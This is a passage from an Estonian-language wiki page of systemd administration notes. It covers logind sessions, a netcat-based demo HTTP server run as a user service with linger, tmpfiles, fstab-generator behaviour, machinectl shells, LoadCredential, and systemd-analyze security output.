Muudatuse tegemiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# hostnamectl set-hostname ns-pg-01&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* muudetakse /etc/hostname fail&lt;br /&gt;
* ei muudeta /etc/hosts faili&lt;br /&gt;
* väidetavalt teavitatakse syslog jt deemoneid st restart vms ei ole vajalik arvutile&lt;br /&gt;
* reaalselt süsteemi hostname muutmisel hostnamectl programmist väga palju abi ei ole, /etc/hosts fail tuleb käsitsi muuta&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
